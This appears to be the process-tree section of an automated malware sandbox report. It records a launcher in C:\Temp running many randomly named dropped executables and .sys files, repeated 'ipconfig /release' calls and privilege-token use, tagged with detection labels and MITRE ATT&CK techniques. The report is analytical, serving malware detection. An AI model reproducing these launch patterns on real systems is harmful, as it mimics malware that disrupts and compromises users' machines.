      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4856,i,16979107615432182973,4887588448061105961,2097152 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=3680 /prefetch:1
      4⤵
      PID:2408
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5516,i,6903556835921444980,11812044154174331027,524288 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=5536 /prefetch:14
      4⤵
      PID:3964
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5516,i,6903556835921444980,11812044154174331027,524288 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=5536 /prefetch:14
      4⤵
      PID:3092
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5012,i,13575267608470689258,10140960681730659011,524288 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=4196 /prefetch:14
      4⤵
      PID:3256
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5512,i,5618026847539020295,11874722982507719971,524288 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=5716 /prefetch:14
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5016
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1140
        5⤵
        
        PID:2024
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5000,i,17413252803848795200,8253619602132981980,524288 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=5676 /prefetch:14
      4⤵
      PID:436
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=6212,i,379960069865298230,16226217356491114489,2097152 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=6188 /prefetch:1
      4⤵
      PID:3428
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3552,i,15842388908597918662,15575934226326138968,524288 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=5096 /prefetch:14
      4⤵
      PID:4040
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3588,i,11049548078548865724,6053044678995756105,524288 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=3636 /prefetch:14
      4⤵
      PID:1480
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3672,i,11477808566662392546,4932930730718812742,524288 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=6352 /prefetch:14
      4⤵
      PID:2368
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2992,i,17548067124702101657,963410402081572402,524288 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=3704 /prefetch:14
      4⤵
      PID:5220
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5580,i,5125874094841342339,2563918776623082569,524288 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=6452 /prefetch:14
      4⤵
      PID:5160
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5840,i,7728445772143175104,7403303660565399391,524288 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=5816 /prefetch:14
      4⤵
      PID:1956
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5596,i,5110741775794581230,7480848464145846858,262144 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=5012 /prefetch:10
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6504,i,4405580186482794796,7195698867469162097,524288 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=6496 /prefetch:14
      4⤵
      PID:5520
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\hbztrljebw.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:6040
- - C:\Temp\hbztrljebw.exe
    C:\Temp\hbztrljebw.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1468
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3944
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2216
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_hbztrljebw.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2136
- - C:\Temp\i_hbztrljebw.exe
    C:\Temp\i_hbztrljebw.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1596
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qoigbywqoj.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2084
- - C:\Temp\qoigbywqoj.exe
    C:\Temp\qoigbywqoj.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:940
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5136
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5580
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qoigbywqoj.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:544
- - C:\Temp\i_qoigbywqoj.exe
    C:\Temp\i_qoigbywqoj.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1044
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\lfdyvqniga.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:6120
- - C:\Temp\lfdyvqniga.exe
    C:\Temp\lfdyvqniga.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3968
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:6064
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3996
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_lfdyvqniga.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1772
- - C:\Temp\i_lfdyvqniga.exe
    C:\Temp\i_lfdyvqniga.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4736
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\igaysqlida.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4884
- - C:\Temp\igaysqlida.exe
    C:\Temp\igaysqlida.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4892
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1084
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3992
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_igaysqlida.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5368
- - C:\Temp\i_igaysqlida.exe
    C:\Temp\i_igaysqlida.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5912
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\avpnifaxsq.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1640
- - C:\Temp\avpnifaxsq.exe
    C:\Temp\avpnifaxsq.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3888
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2568
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1796
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_avpnifaxsq.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1788
- - C:\Temp\i_avpnifaxsq.exe
    C:\Temp\i_avpnifaxsq.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1340
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mkfcxupnhf.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3048
- - C:\Temp\mkfcxupnhf.exe
    C:\Temp\mkfcxupnhf.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1820
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1808
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2460
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mkfcxupnhf.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5420
- - C:\Temp\i_mkfcxupnhf.exe
    C:\Temp\i_mkfcxupnhf.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5300
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\cwupmhezxr.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3132
- - C:\Temp\cwupmhezxr.exe
    C:\Temp\cwupmhezxr.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5400
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2544
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3124
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_cwupmhezxr.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4556
- - C:\Temp\i_cwupmhezxr.exe
    C:\Temp\i_cwupmhezxr.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3220
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\czurmkecwu.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4928
- - C:\Temp\czurmkecwu.exe
    C:\Temp\czurmkecwu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5192
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5240
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4756
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_czurmkecwu.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3688
- - C:\Temp\i_czurmkecwu.exe
    C:\Temp\i_czurmkecwu.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3892
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\uomgeywrom.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2584
- - C:\Temp\uomgeywrom.exe
    C:\Temp\uomgeywrom.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1552
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4380
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4012
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_uomgeywrom.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3900
- - C:\Temp\i_uomgeywrom.exe
    C:\Temp\i_uomgeywrom.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3656
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\igbytrljey.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4040
- - C:\Temp\igbytrljey.exe
    C:\Temp\igbytrljey.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1108
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2112
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3580
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_igbytrljey.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2088
- - C:\Temp\i_igbytrljey.exe
    C:\Temp\i_igbytrljey.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3256
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\vtnlgdywqo.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2304
- - C:\Temp\vtnlgdywqo.exe
    C:\Temp\vtnlgdywqo.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4272
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1340
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3612
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_vtnlgdywqo.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3100
- - C:\Temp\i_vtnlgdywqo.exe
    C:\Temp\i_vtnlgdywqo.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3768
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\vtnlgdyvqo.exe ups_run
  2⤵
  PID:836
- - C:\Temp\vtnlgdyvqo.exe
    C:\Temp\vtnlgdyvqo.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6080
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2460
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3864
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_vtnlgdyvqo.exe ups_ins
  2⤵
  PID:1988
- - C:\Temp\i_vtnlgdyvqo.exe
    C:\Temp\i_vtnlgdyvqo.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5632
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\icavsnlfdx.exe ups_run
  2⤵
  PID:1128
- - C:\Temp\icavsnlfdx.exe
    C:\Temp\icavsnlfdx.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3352
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4596
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2900
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_icavsnlfdx.exe ups_ins
  2⤵
  PID:3348
- - C:\Temp\i_icavsnlfdx.exe
    C:\Temp\i_icavsnlfdx.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4724
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\spkicausnk.exe ups_run
  2⤵
  PID:2560
- - C:\Temp\spkicausnk.exe
    C:\Temp\spkicausnk.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4124
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5264
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2324
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_spkicausnk.exe ups_ins
  2⤵
  PID:5780
- - C:\Temp\i_spkicausnk.exe
    C:\Temp\i_spkicausnk.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4972
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nhczusmkec.exe ups_run
  2⤵
  PID:4260
- - C:\Temp\nhczusmkec.exe
    C:\Temp\nhczusmkec.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2148
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5820
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:128
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nhczusmkec.exe ups_ins
  2⤵
  PID:2216
- - C:\Temp\i_nhczusmkec.exe
    C:\Temp\i_nhczusmkec.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3164
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mhczxrpjhu.exe ups_run
  2⤵
  PID:2260
- - C:\Temp\mhczxrpjhu.exe
    C:\Temp\mhczxrpjhu.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4904
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3400
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5076
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mhczxrpjhu.exe ups_ins
  2⤵
  PID:3548
- - C:\Temp\i_mhczxrpjhu.exe
    C:\Temp\i_mhczxrpjhu.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1816
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\bzuombzurm.exe ups_run
  2⤵
  PID:1596
- - C:\Temp\bzuombzurm.exe
    C:\Temp\bzuombzurm.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3884
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1864
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2228
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_bzuombzurm.exe ups_ins
  2⤵
  PID:4576
- - C:\Temp\i_bzuombzurm.exe
    C:\Temp\i_bzuombzurm.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:576
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\omgeywqojg.exe ups_run
  2⤵
  PID:3424
- - C:\Temp\omgeywqojg.exe
    C:\Temp\omgeywqojg.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1904
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3204
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5064
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_omgeywqojg.exe ups_ins
  2⤵
  PID:5712
- - C:\Temp\i_omgeywqojg.exe
    C:\Temp\i_omgeywqojg.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2524
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\gdywqoigbv.exe ups_run
  2⤵
  PID:4976
- - C:\Temp\gdywqoigbv.exe
    C:\Temp\gdywqoigbv.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5584
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3844
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4988
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_gdywqoigbv.exe ups_ins
  2⤵
  PID:3816
- - C:\Temp\i_gdywqoigbv.exe
    C:\Temp\i_gdywqoigbv.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1896
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\dboigaysql.exe ups_run
  2⤵
  PID:5304
- - C:\Temp\dboigaysql.exe
    C:\Temp\dboigaysql.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3580
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5944
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3528
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_dboigaysql.exe ups_ins
  2⤵
  PID:128

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1268

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:896

C:\Temp\bvtrljdbvt.sys
C:\Temp\bvtrljdbvt.sys
1⤵
- Executes dropped EXE
PID:1988

C:\Temp\dbvtolgeyw.sys
C:\Temp\dbvtolgeyw.sys
1⤵
- Executes dropped EXE
PID:3480

C:\Temp\tnlgdyvqoi.sys
C:\Temp\tnlgdyvqoi.sys
1⤵
- Executes dropped EXE
PID:5712

C:\Temp\fdxvpnlfdx.sys
C:\Temp\fdxvpnlfdx.sys
1⤵
- Executes dropped EXE
PID:2320

C:\Temp\upnhfzxspk.sys
C:\Temp\upnhfzxspk.sys
1⤵
- Executes dropped EXE
PID:2128

C:\Temp\xsmkecxrpk.sys
C:\Temp\xsmkecxrpk.sys
1⤵
- Executes dropped EXE
PID:5336

C:\Temp\mhezxrpjhb.sys
C:\Temp\mhezxrpjhb.sys
1⤵
- Executes dropped EXE
PID:356

C:\Temp\ebwuomgezw.sys
C:\Temp\ebwuomgezw.sys
1⤵
- Executes dropped EXE
PID:5036

C:\Temp\wrojgbwtom.sys
C:\Temp\wrojgbwtom.sys
1⤵
- Executes dropped EXE
PID:4704

C:\Temp\ojdbwtolge.sys
C:\Temp\ojdbwtolge.sys
1⤵
- Executes dropped EXE
PID:5972

C:\Temp\gaytqljdbv.sys
C:\Temp\gaytqljdbv.sys
1⤵
PID:1816

C:\Temp\sqkidysqki.sys
C:\Temp\sqkidysqki.sys
1⤵
PID:4240

C:\Temp\dxvpnhfaxs.sys
C:\Temp\dxvpnhfaxs.sys
1⤵
PID:3992

C:\Temp\causmkfcxu.sys
C:\Temp\causmkfcxu.sys
1⤵
PID:5944

C:\Temp\xrpjhczusm.sys
C:\Temp\xrpjhczusm.sys
1⤵
PID:2680

C:\Temp\pjhbztrmge.sys
C:\Temp\pjhbztrmge.sys
1⤵
PID:4144

C:\Temp\ztrljebwuo.sys
C:\Temp\ztrljebwuo.sys
1⤵
PID:1044

C:\Temp\ywrojytrlj.sys
C:\Temp\ywrojytrlj.sys
1⤵
PID:3992

C:\Temp\olgdywqlid.sys
C:\Temp\olgdywqlid.sys
1⤵
PID:4620

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

